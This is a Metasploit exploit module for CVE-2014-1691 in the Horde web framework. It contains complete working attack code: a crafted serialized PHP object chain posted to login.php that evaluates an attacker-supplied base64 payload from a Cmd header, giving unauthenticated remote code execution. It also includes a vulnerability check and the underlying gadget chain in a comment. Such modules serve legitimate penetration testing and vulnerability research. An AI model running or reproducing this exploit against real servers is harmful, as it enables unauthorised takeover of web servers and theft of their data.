##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Horde Framework Unserialize PHP Code Execution',
'Description' => %q{
This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be
abused to allow unauthenticated users to execute arbitrary code with the permissions of
the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file.
The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean
class to reach a dangerous call_user_func() call in the Horde_Prefs class.
},
'Author' =>
[
'EgiX', # Exploitation technique and Vulnerability discovery (originally reported by the vendor)
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-1691' ],
[ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ],
[ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ],
[ 'URL', 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true
},
'Targets' => [ ['Horde 5', { }], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 27 2013'
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"])
], self.class)
end
def check
flag = rand_text_alpha(rand(10)+20)
res = send_request_exploit("print #{flag};die;")
if res and res.body and res.body.to_s =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Testing injection...")
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...")
end
print_status("#{peer} - Exploiting the unserialize()...")
send_request_exploit(payload.encoded)
end
def send_request_exploit(p)
php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();"
payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";"
payload_serialized << "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";"
payload_serialized << "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:#{php_injection.length}:\"#{php_injection}\";}i:1;s:13:\"readXMLConfig\";}}"
payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}"
payload_serialized << "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}"
send_request_cgi(
{
'uri' => normalize_uri(target_uri.path.to_s, "login.php"),
'method' => 'POST',
'vars_post' => {
'_formvars' => payload_serialized
},
'headers' => {
'Cmd' => Rex::Text.encode_base64(p)
}
})
end
end
=begin
PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
class Horde_Config
{
protected $_oldConfig = "phpinfo();die;";
}
class Horde_Prefs_Scope
{
protected $_prefs = array(1);
}
class Horde_Prefs
{
protected $_opts, $_scopes;
function __construct()
{
$this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
$this->_scopes['horde'] = new Horde_Prefs_Scope;
}
}
class Horde_Prefs_Identity
{
protected $_prefs, $_prefnames;
function __construct()
{
$this->_prefs = new Horde_Prefs;
$this->_prefnames['identities'] = 0;
}
}
class Horde_Kolab_Server_Decorator_Clean
{
private $_server, $_added = array(1);
function __construct()
{
$this->_server = new Horde_Prefs_Identity;
}
}
$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
=end
Polish
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